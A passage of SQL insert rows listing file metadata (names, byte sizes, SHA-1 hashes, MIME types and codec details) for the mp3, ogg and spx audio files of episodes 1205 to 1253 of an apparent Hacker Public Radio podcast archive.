(1205,'hpr1205.spx','spx',4124792,'95b252de6d88ae267a96050904d192f2562e3f04','application/ogg; charset=binary','Ogg data, Speex audio'),
(1206,'hpr1206.mp3','mp3',30373936,'884f89bc378970c6cbad65198b048eeac36b197b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1206,'hpr1206.ogg','ogg',35362658,'f2075a0dcfa23c4a65d7e96183dba757a53bf560','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1206,'hpr1206.spx','spx',13565137,'400b1cb9953ac3af37107d75557b8453098daade','application/ogg; charset=binary','Ogg data, Speex audio'),
(1207,'hpr1207.mp3','mp3',17873365,'5db146c987754300be410f16473b830aab9a896b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1207,'hpr1207.ogg','ogg',19526769,'6794b08594f876350fa364ed63197dde35f8cd5c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1207,'hpr1207.spx','spx',7982190,'8dbdacbd949ba93e4459a0f185fa4fa2d2fe7c45','application/ogg; charset=binary','Ogg data, Speex audio'),
(1208,'hpr1208.mp3','mp3',10139648,'954b876c5786261e170e07dd74df7b27831d98f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1208,'hpr1208.ogg','ogg',11377558,'091e52e1a010debcf100a9f24222a8f579a98e1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1208,'hpr1208.spx','spx',4527797,'347e1ac54fec61ba15d4e30ebe5ee3aa75074c3f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1209,'hpr1209.mp3','mp3',22337536,'8355ee29973a7f649cce1acb0bfb2a4c08e34756','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1209,'hpr1209.ogg','ogg',24761412,'74eae315e8895a40b777c65f6e8868ab539abf1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1209,'hpr1209.spx','spx',9976177,'98b3397eab063d73a01a595dc5e0c30ec07d6a4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1210,'hpr1210.mp3','mp3',7493632,'cc6325dfe865fb02cd7be8f9ba04b4718b177750','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1210,'hpr1210.ogg','ogg',8402551,'f5097757b31c149223666137d7d47a7218003c82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1210,'hpr1210.spx','spx',3346666,'1b353da0809b51e793222ac39d1b9067353f60dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1211,'hpr1211.mp3','mp3',26956712,'05588086cf15227702549d4b422606c47b547c1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1211,'hpr1211.ogg','ogg',29113322,'30078a7472a93e9776e8b6091a54082b6516190f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1211,'hpr1211.spx','spx',12038889,'c73c510256f0569d576f6be2e7785e8a9aa00d8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1212,'hpr1212.mp3','mp3',6943893,'9103d9a1a6e8348302820991e5cea83321775b5b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1212,'hpr1212.ogg','ogg',7564662,'6b43821cc45ba1ed80b51e8680d3686469f44d98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1212,'hpr1212.spx','spx',3100940,'9ad1a11fa8b26e0bbe96f571fd38ea70d2fc7353','application/ogg; charset=binary','Ogg data, Speex audio'),
(1213,'hpr1213.mp3','mp3',7873235,'a8c3acc3887c8080b4a62213d753a9a9255dce67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1213,'hpr1213.ogg','ogg',9012039,'961fa3e915f39b0c53c2e7b09b3c583eb61d1caa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1213,'hpr1213.spx','spx',3516035,'011d594bb0edbab88a1a32b04e210c44142d7c2b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1214,'hpr1214.mp3','mp3',18024696,'9a9c7629c9b53cbd17de87ccfdc7cbd7875b7c86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1214,'hpr1214.ogg','ogg',19731143,'ff85d278de79f5aded2dad11fa1333b741e93d64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1214,'hpr1214.spx','spx',8049820,'3fddec6da1602de282aaf96d183a726798de46ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1215,'hpr1215.mp3','mp3',3990054,'ed8bd0685693d64e367be95cb95cd990ea3a5420','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1215,'hpr1215.ogg','ogg',4491381,'adc0e8bdbe1c1a6743f0f9043a87e3594db0a812','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1215,'hpr1215.spx','spx',1781844,'c3a9f59f80415c476c72e1dad87ccf1e89c77afc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1216,'hpr1216.mp3','mp3',10758211,'83d935aa496c0a67ee1cfba1c4f4fcfd8694176a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1216,'hpr1216.ogg','ogg',10715270,'bd0718101b7eced54b7a4c6d736a27ee9a535c66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1216,'hpr1216.spx','spx',4804438,'a6cc49acb964968d6df4a3f854e4680f7cfc3060','application/ogg; charset=binary','Ogg data, Speex audio'),
(1217,'hpr1217.mp3','mp3',26407651,'27ead432730f5c1c315ea6b13c8f8685cb52d33e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1217,'hpr1217.ogg','ogg',27913797,'5be201818f589327d555384470bd4296ef857a55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1217,'hpr1217.spx','spx',11793682,'7f3716e1fc36408986ca4b74d462628427565b2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1218,'hpr1218.mp3','mp3',14748444,'4c327d8b77ceb59ed1d5c1aed8d24a57cd6f6715','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1218,'hpr1218.ogg','ogg',16247037,'020752a7c7dd6e3c2a4ff0f8e41e42157ba85581','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1218,'hpr1218.spx','spx',6586579,'0288918f9c6b31d0dbfa434855bc7207e80ff753','application/ogg; charset=binary','Ogg data, Speex audio'),
(1219,'hpr1219.mp3','mp3',12463225,'3180a8061508a56c822cf5992ddd8afdc41e329a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1219,'hpr1219.ogg','ogg',14917778,'6644a222dc974e6e898edb6c717aa6322661193d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1219,'hpr1219.spx','spx',5565927,'b9cc4369ba43b6787678679eb30580b5ebecdc03','application/ogg; charset=binary','Ogg data, Speex audio'),
(1220,'hpr1220.mp3','mp3',15192064,'cc309e7452b8b8df9395ff07149b67fb475b9fbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1220,'hpr1220.ogg','ogg',18764822,'00b30087ccd0fe1abecb8fe9bb0f356d211968e6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1220,'hpr1220.spx','spx',6785012,'173c44d487af49f570c208e0c842fdef8c515bb9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1221,'hpr1221.mp3','mp3',9219888,'c0b26950ccf1464fb3d766bedbadf6ccf609cbb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1221,'hpr1221.ogg','ogg',10232175,'67541a054ddaf41f7b63cfd5b34a1676aa11ea77','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1221,'hpr1221.spx','spx',4117425,'fa4395f1355aba0425c58442d97fdbd736d23392','application/ogg; charset=binary','Ogg data, Speex audio'),
(1222,'hpr1222.mp3','mp3',10217999,'5f63b491c4fbd585946bcc08c8ad356882b73f0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1222,'hpr1222.ogg','ogg',11759679,'867e6ea8723bf184ab1fb142d975313efd3c661b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1222,'hpr1222.spx','spx',4563205,'550f0ec7171c560d17d00651e9c1ebdbd37e6b03','application/ogg; charset=binary','Ogg data, Speex audio'),
(1223,'hpr1223.mp3','mp3',5759148,'524b1d2e27d412640d5bf42cf44a0d0ec23b4aa7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1223,'hpr1223.ogg','ogg',6251230,'d6655bd16c547a79e36c0580eba683dae387cdea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1223,'hpr1223.spx','spx',2571872,'d853c146712bb8b180454d5d3a395451d436c1b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1224,'hpr1224.mp3','mp3',8671232,'37eddd7ff7a9142d7922bd3e54c431abdaa49f60','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1224,'hpr1224.ogg','ogg',8999777,'218b40689b62a924e59c9dcc81c01cffcfa351b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1224,'hpr1224.spx','spx',3872625,'09c203ac88741d913760766dc91b2bb2c7aef9e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1225,'hpr1225.mp3','mp3',22149350,'b93743ecde259926ccea3cbc763171a353720e50','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1225,'hpr1225.ogg','ogg',23677702,'e1207c83b5529b5328881b12fbdcec101f51abda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1225,'hpr1225.spx','spx',9891757,'0e7ef46276831b7bb6727b0ea7f53abeb56c0111','application/ogg; charset=binary','Ogg data, Speex audio'),
(1226,'hpr1226.mp3','mp3',8692974,'9a586bcffe5f83e35d30f7de1f35b1821d06a854','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1226,'hpr1226.ogg','ogg',10097851,'4042b876dca2d193611edfe1cfec8b017508f53d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1226,'hpr1226.spx','spx',3882039,'659894b869b41c7ba2af3f5f95f7893b307ef425','application/ogg; charset=binary','Ogg data, Speex audio'),
(1227,'hpr1227.mp3','mp3',7421137,'08bced016f1150e989cfc94ca0662abe046c86f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1227,'hpr1227.ogg','ogg',8048648,'d7300c3c4bf1ba85c95659dca4fa9fe0cce73864','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1227,'hpr1227.spx','spx',3314026,'372f8746debdcdf3d0ae84899a1c12ca271a82d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1228,'hpr1228.mp3','mp3',8010980,'3c7512b6906c7e7eb53fb9e67dd248abbc639a66','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1228,'hpr1228.ogg','ogg',9785683,'57ef1bda86d56f86a3b8ffe32991adbec3d63e41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1228,'hpr1228.spx','spx',3577528,'f97be3517d029fd07a7dd24a7ce7cd5ceddb5f96','application/ogg; charset=binary','Ogg data, Speex audio'),
(1229,'hpr1229.mp3','mp3',5312751,'c1c18d4bbe259038f46011132f844658a0d85998','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1229,'hpr1229.ogg','ogg',6252199,'07edf412a91468daf2894d90575eb554c42bb3cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1229,'hpr1229.spx','spx',2372449,'19d88b0018c4dc2aaf8b6edd36da8ba1d0c23923','application/ogg; charset=binary','Ogg data, Speex audio'),
(1230,'hpr1230.mp3','mp3',6073453,'dec8830855dd869fadfbd8b798b823423b56bd7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1230,'hpr1230.ogg','ogg',6711412,'e934afb72fb1106bd38b48efc51172601c9acfd2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1230,'hpr1230.spx','spx',2712113,'8d66b122dbd89514ea6781b74cef6222589d147f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1231,'hpr1231.mp3','mp3',8817527,'761c84c84cb5841d91204da43cd310c08d3cf930','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1231,'hpr1231.ogg','ogg',9648069,'5fada7ce037ef65869fe77e211f2e7cc6917db8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1231,'hpr1231.spx','spx',3937629,'c8d562ac1e1366aad134a7fb64017c665c80343b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1232,'hpr1232.mp3','mp3',11922777,'2a5e44fa9842a8dc0e16993f07b6ad1ebdfee767','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1232,'hpr1232.ogg','ogg',13936140,'e569a1d4d0b1c32f5d2862932ae70bd13c115148','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1232,'hpr1232.spx','spx',5324503,'a0a3594b5c88dffd9075a19e67b0d3029e306caa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1233,'hpr1233.mp3','mp3',25265199,'54f6245501c256767e7d8b7d11bde87db1d84cb5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1233,'hpr1233.ogg','ogg',28649553,'6229429de03bf686acfdad33c3a4c6deddf8a419','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1233,'hpr1233.spx','spx',11284307,'0531cd73955f961de27ac710e12734dcef7b8dd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1234,'hpr1234.mp3','mp3',1688938,'d5a2343b3c2e93a1c89202daa18670003c01810c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1234,'hpr1234.ogg','ogg',1923691,'e54e8ca051bbff6d67347e8b2a56cf507ebda628','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1234,'hpr1234.spx','spx',754021,'4603bf44ef859117e3810d4b583f1db339761556','application/ogg; charset=binary','Ogg data, Speex audio'),
(1235,'hpr1235.mp3','mp3',9816901,'1e3c1052ca7086f3ec17d169b7bc279e17af0635','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1235,'hpr1235.ogg','ogg',4844002,'f4ec94e2c28a4edb48f39d9d60e09812267aed36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1235,'hpr1235.spx','spx',2192087,'2d58228d35f6e324c767a74ad750c893438a71e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1236,'hpr1236.mp3','mp3',3426556,'22d2e59f194302be78ba946f9ad37b9e7e81c86e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1236,'hpr1236.ogg','ogg',3954097,'747a7d63112ed73fe295a1ef4fa77710133ea778','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1236,'hpr1236.spx','spx',1530004,'27194449b52e7c08b13b5787ee98322fcd95284d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1237,'hpr1237.mp3','mp3',31103327,'8433e3fdbc54220fff1921874c76c785fb9934bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1237,'hpr1237.ogg','ogg',34787061,'068be43f1fe5ce6d60895501aff325541beb4cad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1237,'hpr1237.spx','spx',13890690,'dd6ed52ec8940d98060028b7480211ab49009a76','application/ogg; charset=binary','Ogg data, Speex audio'),
(1238,'hpr1238.mp3','mp3',4825827,'b998e38db75b83b6d63ea4aa6c64596ad1e0fb13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1238,'hpr1238.ogg','ogg',4805115,'556ae02f5ebcbffc909102a7cd13e9cb2c728c34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1238,'hpr1238.spx','spx',2154945,'d8b4a3d068bd9d176ebbcfbb0cda4320d9d912fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1239,'hpr1239.mp3','mp3',52648854,'f756964d84247f3b6f13e2e6d74f81825a6b8a92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1239,'hpr1239.ogg','ogg',49725656,'ad7cad63e03dcbaaf802f05b5d0d1e9be3f620e8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1239,'hpr1239.spx','spx',23513326,'77d7235ee781d8437f2471bfe1877180271ab610','application/ogg; charset=binary','Ogg data, Speex audio'),
(1240,'hpr1240.mp3','mp3',19244531,'1bfe2831faa4bb5d7f9828d206ed73656bdbc8d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1240,'hpr1240.ogg','ogg',19128471,'d555809629285c589a913ea0f35491a2eb702157','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1240,'hpr1240.spx','spx',8594584,'3b8dfdf0d85690ab995868a58430f100c91ebf65','application/ogg; charset=binary','Ogg data, Speex audio'),
(1241,'hpr1241.mp3','mp3',44635600,'4ada72e28a4cc08927337965a3b821631c2e595a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1241,'hpr1241.ogg','ogg',41148374,'0cd2224b50bde74660b47e04f12f1fe9e6c5d832','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1241,'hpr1241.spx','spx',19934383,'83bb69f8c10c8bd477c2dcd01fa9cc39093e9c7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1242,'hpr1242.mp3','mp3',11193227,'3549a5edf456ffecfde5449a943a3744c84b34d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1242,'hpr1242.ogg','ogg',14134500,'18329e04b9ab19cde43985262e44b93044353db8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1242,'hpr1242.spx','spx',4998659,'b4e9311cca3392f220a1349e56ca5a31ab33cdf3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1243,'hpr1243.mp3','mp3',2604351,'eb9cd7bcc4edb03de48977ef6240ddbec1f408ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1243,'hpr1243.ogg','ogg',2954958,'9e530d0580e298573f5b81facdabf123b8c236bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1243,'hpr1243.spx','spx',1162788,'f6bb34533eb3c936fa7ea1bb6d4e4a3ffeb9314d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1244,'hpr1244.mp3','mp3',14323958,'f980fb8e8496101f5fcbb1bb125d82a9f580a113','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1244,'hpr1244.ogg','ogg',15157579,'89bb36a463595e9f0c663b5e5274bd546e70547d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1244,'hpr1244.spx','spx',6396890,'e615dec14ca426c989b49988b4298523f300614f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1245,'hpr1245.mp3','mp3',10723001,'b9b90531592f9f2ea81918390d0d7842c81e2f40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1245,'hpr1245.ogg','ogg',11765145,'6a31e17cac7ac40e2fe564522155fe15579da133','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1245,'hpr1245.spx','spx',4788692,'d8444928624acb684599f85bd47dc16381efe750','application/ogg; charset=binary','Ogg data, Speex audio'),
(1246,'hpr1246.mp3','mp3',29907988,'01591003b6a80eccbc35a25e23ba9e10cba09e40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1246,'hpr1246.ogg','ogg',32302949,'a7e9dfea1e38c22131753d5437b2e5c213b7eb06','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1246,'hpr1246.spx','spx',13356940,'a3273042413d66c6e4844972810e86c1e5020bb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1247,'hpr1247.mp3','mp3',7009612,'81651e4ca28e756c98b9d30691fe53cc35847b30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1247,'hpr1247.ogg','ogg',8617460,'698d8ce43fdea281c79e42c036e00284d1581443','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1247,'hpr1247.spx','spx',3130336,'a913bc387e1babb2d560b861493895e0f1312fff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1248,'hpr1248.mp3','mp3',13762310,'0e109ecf8c064f85d0aa126ddaa5451494221adc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1248,'hpr1248.ogg','ogg',15984880,'08b6de185586750dc21835578323a20bf3a3671b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1248,'hpr1248.spx','spx',6146077,'12faed81aa4e7d27ea43e87de8b8d3ad77bc8ada','application/ogg; charset=binary','Ogg data, Speex audio'),
(1249,'hpr1249.mp3','mp3',29174462,'0e89add107b0cf98631ca34faa51a8ccdd12c9be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1249,'hpr1249.ogg','ogg',27741996,'bbb5c2aa762e9f90a2c01602f4a0356c59b7fac5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1249,'hpr1249.spx','spx',13029291,'dcb0009f0f109d1c4cae999fa5e80b62004d7c58','application/ogg; charset=binary','Ogg data, Speex audio'),
(1250,'hpr1250.mp3','mp3',48377003,'b5bfbc3577c0c6ed087c22fc57f5ffb73c99bf90','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1250,'hpr1250.ogg','ogg',47659886,'9cb047c0f38ae48e6b80efe08730428b23b8214b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1250,'hpr1250.spx','spx',21605505,'3b4ff86aae2fae8fd09f5fa7db93483040f8e392','application/ogg; charset=binary','Ogg data, Speex audio'),
(1251,'hpr1251.mp3','mp3',15450957,'3eaaa78b847f02afb2efb964605344be00dac79d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1251,'hpr1251.ogg','ogg',16664055,'9f77e7b0885666d71fb9911f1c24168b8079182b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1251,'hpr1251.spx','spx',6900270,'1efe0606db38db5dd72009513fe5cbde8f1e0dbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1252,'hpr1252.mp3','mp3',15166693,'b4a8b3ccac0659e5c66e0430e21a066ebd33d4e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1252,'hpr1252.ogg','ogg',16121960,'a892baa47fc6c1fe02383878719c241399c0a9c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1252,'hpr1252.spx','spx',6773290,'1859699f729094f53d02b4102b3fc3c8c4f7e324','application/ogg; charset=binary','Ogg data, Speex audio'),
(1253,'hpr1253.mp3','mp3',13787680,'cf69eb119b36f8a78726f3a1a0f128b94085454b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1253,'hpr1253.ogg','ogg',14213883,'bbf7b68612c791d71f947b6a009cf557f172e428','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1253,'hpr1253.spx','spx',6157373,'463b101134419f0eda19af54b3999d6b8ebece3c','application/ogg; charset=binary','Ogg data, Speex audio'),
